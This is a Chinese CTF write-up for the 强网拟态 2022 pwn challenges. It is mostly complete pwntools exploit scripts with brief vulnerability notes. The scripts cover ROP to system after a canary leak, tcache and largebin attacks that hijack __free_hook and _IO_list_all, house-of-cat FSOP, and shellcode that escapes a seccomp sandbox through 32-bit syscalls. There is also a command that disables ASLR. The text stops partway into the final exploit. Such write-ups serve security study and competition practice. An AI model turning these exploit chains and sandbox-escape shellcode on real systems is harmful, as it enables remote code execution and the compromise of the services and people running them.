0%

强网拟态CTF2022

pwn1 ~ pwn1-1 ~ pwn2-1

这3个题比较简单,就直接放 exp 了:

pwn1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.145', '9999')

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0xB19)\n")
pause()

#debug()

p.sendline(str(1))
p.recvuntil("You will find some tricks\n")
leak_addr = eval(p.recvuntil("\n")[:-1])
proc_base = leak_addr - 0xA94
system = 0xA2C + proc_base
binsh = 0x202068 + proc_base
pop_rdi = 0x0000000000000c73 + proc_base

success("leak_addr >> "+hex(leak_addr))
success("proc_base >> "+hex(proc_base))
success("system >> "+hex(system))

p.sendline(str(2))
payload = "%33$p"
p.sendline(payload)

p.recvuntil("hello\n")
canary = eval(p.recvuntil("\n")[:-1])
success("canary >> "+hex(canary))

payload = 'a'*200 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)

p.interactive()

pwn1-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

arch = 64
challenge = './pwn1-1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.131','9999')

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0x153C)\nb *$rebase(0x1423)\n")
pause()

#debug()

p.sendline(str(1))
p.recvuntil("You will find some tricks\n")
leak_addr = eval(p.recvuntil("\n")[:-1])
proc_base = leak_addr - 0x12a0
system = 0x11A2 + proc_base
binsh = 0x4050+ proc_base
pop_rdi = 0x0000000000001943 + proc_base

success("leak_addr >> "+hex(leak_addr))
success("proc_base >> "+hex(proc_base))
success("system >> "+hex(system))

p.sendline(str(2))

payload = 'b'*(0xd0) + p64(proc_base + 0x4060 )
payload = payload.ljust(0xd0-1,"a")+p64(proc_base + 0x4060)*4+ p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)

p.interactive()

pwn2-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

arch = 64
challenge = './pwn2-1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1B0A)\n")
#pause()

def choice(ch):
p.sendlineafter("Your choice :",str(ch))


def add(size,content):
choice(1)
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",str(content))

def dele(index):
choice(2)
p.sendlineafter("Index :",str(index))

def show(index):
choice(3)
p.sendlineafter("Index :",str(index))

#debug()

p.sendline(str(5))
p.recvuntil("Your choice :let us give you some tips\n")
leak_addr = eval(p.recvuntil("\n")[:-1])
pro_base = leak_addr - 0x11f0
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

catflag = 0x1B70+pro_base
chunk_list = 0x40A0+pro_base
success("chunk_list >> "+hex(chunk_list))

add(0x18,"a")
add(0x28,"a")
dele(0)
dele(1)
add(0x18,p64(catflag))
show(0)

p.interactive()

webheap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
1
2
3
4
5
6
webheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=27dde4c970e713a66d152d11040e93cccb362625, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

cpp 反序列化 -> python 序列化

程序实现了反序列化读入

  • 内存里存的数据不通用,不同系统不同语言的组织可能都是不一样的
  • 序列化的二进制数据是通过一定的协议将数据字段进行拼接
    • 第一个优势是:不同的语言都可以遵循这种协议进行解析,实现了跨语言
    • 第二个优势是:这种数据可以直接持久化到磁盘,从磁盘读取后也可以通过这个协议解析出来

如果要想使用网络框架的 API 来传输结构化的数据,必须得先实现 [结构化的数据] 与 [字节流] 之间的双向转换,这种将结构化数据转换成字节流的过程,称为序列化,反过来转换,就是反序列化

本题目用 cpp 来实现反序列化,难点就在逆向的过程,要在一堆很难看的 cpp 代码中找到“编码格式”(目标地址为“0x45A8”)

  • 我对于 cpp 的逆向不是很熟悉,但在比赛的过程中也收获了一些 cpp 的逆向技巧(之后总结一下)
  • 以后有机会写一个反序列化的 cpp 程序,然后拖 IDA 分析一下

这种题目的关键就在于:根据反序列化的代码,来推导实现序列化的 python 脚本

漏洞分析

1
2
3
4
5
6
void __fastcall dele(unsigned __int64 index)
{
if ( index > 0xF )
exit(-1);
free((void *)chunk_list[index]); // UAF
}
  • 有 UAF

入侵思路

当逆向工作完成之后,可以根据程序的反序列化过程,写出序列化的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def setuint(x):
if x>=0 and x<=0x7f:
return p8(0x80)+p8(x)
elif x>=0x80 and x<=0x7fff:
return p8(0x81)+p16(x)
elif x>=0x8000 and x<=0x7fffffff:
return p8(0x82)+p32(x)
elif x>=0x80000000 and x<=0x7fffffffffffffff:
return p8(0x83)+p64(x)

def setint(x):
if x >= 0 and x <= 0xff:
return p8(0x84)+p8(x)
elif x>=0x100 and x<=0xffff:
return p8(0x85)+p16(x)
elif x>=0x10000 and x<=0xffffffff:
return p8(0x86)+p32(x)

def send_code(op, idx, size, num1,num2):
payload = p8(0xb9) + p8(0x05)
payload += setint(op) + setuint(idx) +setuint(size) + '\xBD'+setuint(num1)+p8(0)+setuint(num2)
sla('Packet length: ',str(len(payload)))
sa('Content:', payload)

def add(idx,size):
return send_code(0,idx,size,0,0)

def show(idx):
return send_code(1,idx,0,0,0)

def delete(idx):
return send_code(2,idx,0,0,0)

def edit(idx,cont):
payload = p8(0xb9) + p8(0x05)
payload += p8(3) +p8(idx) + p8(0x30) + '\xBD'+p8(6)+p64(cont)
sla('Packet length: ', str(len(payload)))
sa('Content:', payload)

利用 UAF 完成泄露以后,就打 tcache attack,尝试申请 free_hook,然后修改为 system 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

arch = 64
challenge = './webheap'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '9999')

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0x4918)\n")
pause()

def setuint(x):
if x>=0 and x<=0x7f:
return p8(0x80)+p8(x)
elif x>=0x80 and x<=0x7fff:
return p8(0x81)+p16(x)
elif x>=0x8000 and x<=0x7fffffff:
return p8(0x82)+p32(x)
elif x>=0x80000000 and x<=0x7fffffffffffffff:
return p8(0x83)+p64(x)

def setint(x):
if x >= 0 and x <= 0xff:
return p8(0x84)+p8(x)
elif x>=0x100 and x<=0xffff:
return p8(0x85)+p16(x)
elif x>=0x10000 and x<=0xffffffff:
return p8(0x86)+p32(x)

def send_code(op, idx, size, num1,num2):
payload = p8(0xb9) + p8(0x05)
payload += setint(op) + setuint(idx) +setuint(size) + '\xBD'+setuint(num1)+p8(0)+setuint(num2)
p.sendlineafter('Packet length: ',str(len(payload)))
p.sendlineafter('Content:', payload)

def add(idx,size):
return send_code(0,idx,size,0,0)

def show(idx):
return send_code(1,idx,0,0,0)

def delete(idx):
return send_code(2,idx,0,0,0)

def edit(idx,cont):
payload = p8(0xb9) + p8(0x05)
payload += p8(3) +p8(idx) + p8(0x30) + '\xBD'+p8(6)+p64(cont)
p.sendlineafter('Packet length: ', str(len(payload)))
p.sendlineafter('Content:', payload)

add(0,0x440)
add(1,0x30)
delete(0)
show(0)

libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']

one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libcbase + one_gadgets[2]

success("libcbase >> "+hex(libcbase))
success("system >> "+hex(system))
success("free_hook >> "+hex(free_hook))
success("one_gadget >> "+hex(one_gadget))

delete(1)
edit(1,free_hook)
add(2,0x30)
add(3,0x30)
edit(2,0x6873)
edit(3,system)
delete(2)

p.interactive()

bfbf

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e3bffe1cec71dcd6694ca6bd031a59f4855b9b86, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x02 0x00000000 if (A != read) goto 0006
0004: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0005: 0x25 0x01 0x00 0x00000001 if (A > 0x1) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 限制了 read(其实也 ban 了 execve,但这里没有显示)

漏洞分析

题目就是想模仿 Brainfuck 语言

1
2
3
4
5
6
7
  char buf[520]; // [rsp+10h] [rbp-210h] BYREF
......
case 5:
write(1, &buf[i], 1uLL);
goto break;
case 6:
buf[i] = getchar();
  • 没有对“i”进行限制
  • 利用 “.” 和 “>” 的配合可以实现 leak
  • 利用 “,” 和 “>” 的配合可以覆盖 ret

入侵思路

泄露完整之后,直接覆盖返回地址为 ORW 的变种

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.205', '9999')


def debug():
# gdb.attach(p)
gdb.attach(p,"b *$rebase(0x18CD)\n")
# pause()


payload = b'>'*(512+5*8) + b'.>' * 7 + b'.'
payload += b'>'*(1*8) + b'.>' * 7 + b'.'
payload += b'<'*(4*8-1+7)+b',>'*0xb8 + b'./flag\x00\x00'
# debug()
p.send(payload)

heapbase = u64(p.recvuntil(b'\x56')[-6:].ljust(8, b'\x00'))-0x2a0
#debug()
log.success("heapbase: "+hex(heapbase))

sleep(0.5)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x24083
log.success("libc.address: "+hex(libc.address))

open_addr = libc.symbols['open']
read_addr = libc.symbols['read']
write_addr = libc.symbols['write']
flag_addr = 0x684+heapbase
pop_rax_ret=libc.address+0x0000000000036174
pop_rdi_ret=libc.address+0x0000000000023b6a
pop_rsi_ret=libc.address+0x000000000002601f
pop_rdx_ret=libc.address+0x0000000000142c92
syscall_ret=libc.address+0x630a9

payload = p64(pop_rax_ret) + p64(3)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(heapbase)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(libc.sym['read'])

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write'])
payload += p64(libc.sym['_exit'])

p.send(payload)

p.interactive()

store

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
1
2
3
4
5
6
store: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=cd388e748e0640343faaa81f9d2a6fccd07ff729, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  store seccomp-tools dump ./store                
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x11 0x00 0x0000000c if (A == brk) goto 0023
0006: 0x15 0x10 0x00 0x00000000 if (A == read) goto 0023
0007: 0x15 0x0f 0x00 0x00000001 if (A == write) goto 0023
0008: 0x15 0x0e 0x00 0x00000005 if (A == fstat) goto 0023
0009: 0x15 0x0d 0x00 0x0000000a if (A == mprotect) goto 0023
0010: 0x15 0x0c 0x00 0x0000003c if (A == exit) goto 0023
0011: 0x15 0x0b 0x00 0x0000005a if (A == chmod) goto 0023
0012: 0x15 0x0a 0x00 0x0000008c if (A == getpriority) goto 0023
0013: 0x15 0x09 0x00 0x0000008d if (A == setpriority) goto 0023
0014: 0x15 0x08 0x00 0x000000c0 if (A == lgetxattr) goto 0023
0015: 0x15 0x07 0x08 0x000000e6 if (A == clock_nanosleep) goto 0023 else goto 0024
0016: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0024
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x04 0x00 0x00000005 if (A == fstat) goto 0023
0019: 0x15 0x03 0x00 0x0000005a if (A == chmod) goto 0023
0020: 0x15 0x02 0x00 0x0000008c if (A == getpriority) goto 0023
0021: 0x15 0x01 0x00 0x0000008d if (A == setpriority) goto 0023
0022: 0x15 0x00 0x01 0x000000c0 if (A != lgetxattr) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

1
2
3
4
5
6
if ( free_num )                            
{
free((&chunk_list)[index]); // UAF
--free_num;
puts("success!\n");
}
  • UAF

入侵思路

本题目的限制如下:

  • 只能控制申请的头两个 chunk
  • 限制释放次数为4次

虽然只能控制申请的头两个 chunk,但还是可以完成 largebin attack

于是我们先进行泄露,然后用 largebin attack 劫持 _IO_list_all,接下来有两种思路:

  • house of cat
  • house of apple

House Of Cat

house of cat 的常规调用链为:

1
sysmalloc -> __malloc_assert -> __fxprintf -> locked_vfxprintf -> __vfprintf_internal ->  _IO_wfile_seekoff
  • 使 top chunk 不足以申请从而调用 sysmalloc

直接调用 exit 则会触发另一条调用链:

1
__GI_exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff
  • 直接 exit 就好,不用破坏堆结构

在本题目中需要注意两个问题:

  • 程序的沙盒禁止了 open
  • “flag”文件的名称未知

当不知道程序名称时,我们需要用 getdents 进行操作:

  • 先执行 open('.',0) 打开当前目录
  • 然后执行 getdents(3, buf, 0x200)

opengetdents 都被 ban 了,但是对应32位的 opengetdents 没有 ban

  • sys_fstat-0x5 => open-0x5
  • sys_setpriority-0x8D => getdents-0x8D

Shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

mov rdi, 0
mov rsi, 0x502000
mov rdx, 0x100
xor rax, rax
syscall

mov rax, 5
mov rbx, 0x502000
xor rcx, rcx
xor rdx, rdx
int 0x80

mov rax, 0x8d
mov rbx, 3
mov rcx, 0x502000
mov rdx, 0x200
int 0x80

mov rdi, 1
mov rax, 1
mov rsi ,0x502000
mov rdx ,0x200
syscall
''', arch='amd64')
  • 这里先使用32位的 mmap2 申请一片空间
  • 使用 read 读入“.”
  • 然后依次执行32位的 opengetdents
  • 最后用 write 打印出来

找到 “flag” 文件以后,对 shellcode 修改一下就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
from pwn import *

arch = 64
challenge = './store'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
gdb.attach(p,"set debug-file-directory ./debug\n")
#gdb.attach(p,"b *$rebase(0x1B0A)\n")
pause()

def choice(ch):
p.sendlineafter("choice: ",str(ch))

def add(size,content,remark):
choice(1)
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content:",str(content))
p.sendlineafter("Remark:",str(remark))

def add2(size):
choice(1)
p.sendlineafter("Size: ",str(size))

def dele(index):
choice(2)
p.sendlineafter("Index: ",str(index))

def edit(index,content,remark):
choice(3)
p.sendlineafter("Index: ",str(index))
p.sendafter("Content:",str(content))
p.sendafter("Remark:",str(remark))

def show(index):
choice(4)
p.sendlineafter("Index: ",str(index))

#debug()
add(0x450,"a"*0x10,"a"*0x10) # unsortedbin
add(0x460,"a"*0x10,"") # largebin
dele(1)
show(1)

p.recvuntil("Content: \n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

add2(0x500)
dele(0)
edit(1,"b"*0x18,"b"*0x18)
show(1)

p.recvuntil("b"*0x18)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xb50
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_list_all = libc_base + libc.sym['_IO_list_all']
mprotect = libc_base + libc.sym['mprotect']
_IO_wfile_jumps= libc_base + libc.sym['_IO_wfile_jumps']
success("_IO_list_all >> "+hex(_IO_list_all))
success("setcontext+61 >> "+hex(setcontext+61))

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
ret = 0x0000000000022679 + libc_base

payload = p64(0)*3 + p64(_IO_list_all-0x20)

edit(1,payload,"b"*0x10)
add2(0x500)

shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

mov rdi, 0
mov rsi, 0x502000
mov rdx, 0x100
xor rax, rax
syscall

mov rax, 5
mov rbx, 0x502000
xor rcx, rcx
xor rdx, rdx
int 0x80

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 1
mov rax, 1
syscall
''', arch='amd64')

"""
shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

mov rdi, 0
mov rsi, 0x502000
mov rdx, 0x100
xor rax, rax
syscall

mov rax, 5
mov rbx, 0x502000
xor rcx, rcx
xor rdx, rdx
int 0x80

mov rax, 0x8d
mov rbx, 3
mov rcx, 0x502000
mov rdx, 0x200
int 0x80

mov rdi, 1
mov rax, 1
mov rsi ,0x502000
mov rdx ,0x200
syscall
''', arch='amd64')
"""

next_chain = 0
fake_io_addr = heap_base + 0x290
shellcode_addr = heap_base + 0x750
payload_addr = heap_base + 0x700
flag_addr = heap_base+0x1000

payload = p64(payload_addr+0x10) + p64(ret)
payload += p64(pop_rdi_ret) + p64(heap_base)
payload += p64(pop_rsi_ret) + p64(0x7000)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect) + p64(shellcode_addr)
payload += shellcode

fake_IO_FILE = p64(0) #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
edit(0,fake_IO_FILE,payload)

#debug()
choice(5)
p.send('flag')

p.interactive()

only

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.\n
1
2
3
4
5
6
only: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=26fd95677098954c2c6ee0e7543a029459dc6f97, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 dele()
{
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
if ( !free_num )
exit(0);
free(chunk);
--free_num;
puts("Done!");
return __readfsqword(0x28u) ^ canary;
}
  • 有个 UAF,但是 2.31 版本的 libc 有 tcache key,不能直接利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 fill()
{
int size; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
if ( fill_key == 0xDEADBEEF ) // 限制一次
{
fill_key = 0;
size = 0x10;
if ( !chunk )
{
printf("Size:");
size = input_num();
if ( size <= 0 || size > 0xE7 )
{
puts("Error");
exit(0);
}
chunk = malloc(size);
if ( !chunk )
{
puts("Error");
exit(0);
}
}
memset(chunk, 0, size);
}
return __readfsqword(0x28u) ^ canary;
}
  • 这个函数可以置空 tcache key,但只能执行一次

入侵思路

程序拥有一次任意写的机会,但是没有泄露,对于这种要爆破的程序,建议先关地址随机化:

1
echo 0 > /proc/sys/kernel/randomize_va_space 

只能先打 stdout 泄露 libc,思路如下:

  • 先利用 double free 错位写一个 free tcache
  • 伪造它的 presize,size(较大值),FD(覆盖低位)
  • 把它申请出来然后释放,就可以得到 unsorted chunk
  • 先申请一次 unsorted chunk,并将 main_arena 覆盖为 stdout
  • 如果堆风水够好的话,就会发现 stdout 在 tcache[0x70] 中(最好是这种情况,我也尝试过用 unsorted chunk 来覆盖其他的 free tcache,结果总是超出“申请模块”的次数限制)
1
2
0x70 [  6]: 0x55555555b800 —▸ 0x7ffff7f896a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
0x80 [ 5]: 0x55555555b870 —▸ 0x55555555b980 —▸ 0x55555555bc10 —▸ 0x55555555bec0 —▸ 0x55555555ba90 ◂— 0x0

完成泄露以后,就可以利用现成的 unsorted chunk 来修改与其重叠的 free tcache,把 free_hook 写入到 tcachebin 中

1
0x80 [  5]: 0x55555555b870 —▸ 0x7ffff7f8bb28 (__free_hook) ◂— 0x0

最后就是一个堆上 ORW 的过程了,因为没有泄露堆地址,所以常规的 setcontext+61libc.sym['svcudp_reply']+26 都没有作用,只能用特殊的 magic gadget 来进行栈迁移

我们先在 free_hook 的位置写一个 puts,然后分析寄存器的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x7ffff7e245a0 (puts) ◂— endbr64 
RBX 0x555555555950 ◂— endbr64
*RCX 0x0
*RDX 0xfffffffffffffffe
*RDI 0x7ffff7f8bb28 (__free_hook) —▸ 0x7ffff7e245a0 (puts) ◂— endbr64
*RSI 0x555555555778 ◂— lea rax, [rip + 0x2899]
*R8 0x1999999999999999
*R9 0x0
*R10 0x7ffff7f3bac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
*R11 0x7ffff7f3c3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
R12 0x555555555240 ◂— endbr64
R13 0x7fffffffdf50 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7fffffffde40 —▸ 0x7fffffffde60 ◂— 0x0
*RSP 0x7fffffffde28 —▸ 0x555555555778 ◂— lea rax, [rip + 0x2899]
*RIP 0x7ffff7e245a0 (puts) ◂— endbr64
  • 只有 RDI 寄存器可以利用
  • 因此我们要把 ORW 链写入 free_hook,然后利用 RDI 寄存器来进行栈迁移
  • 首先,在完成栈迁移之前我们不能使用栈,因此需要 call 来连接 gadget:(可以先把带有 call 的 gadget 保存到另一个文件中,然后搜索 RDI)
1
mov rax, qword ptr [rdi + 8]; call qword ptr [rax + 0x30]; 
  • 想这种基于 RAX 的 call 我们一般不采用,虽然它很多,但是很难进行栈迁移
  • 我们通常使用 RDI,RSI,RDX,RBP 这4个寄存器来做栈迁移,因此优先使用带有它们的 call
1
2
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
mov rsp, rdx; ret;

由于写入长度受限,我们需要手动执行一次 gets 写入 ORW 链

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *

arch = 64
challenge = './only'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

"""
local = 1
if local:
p = process(challenge)
else:
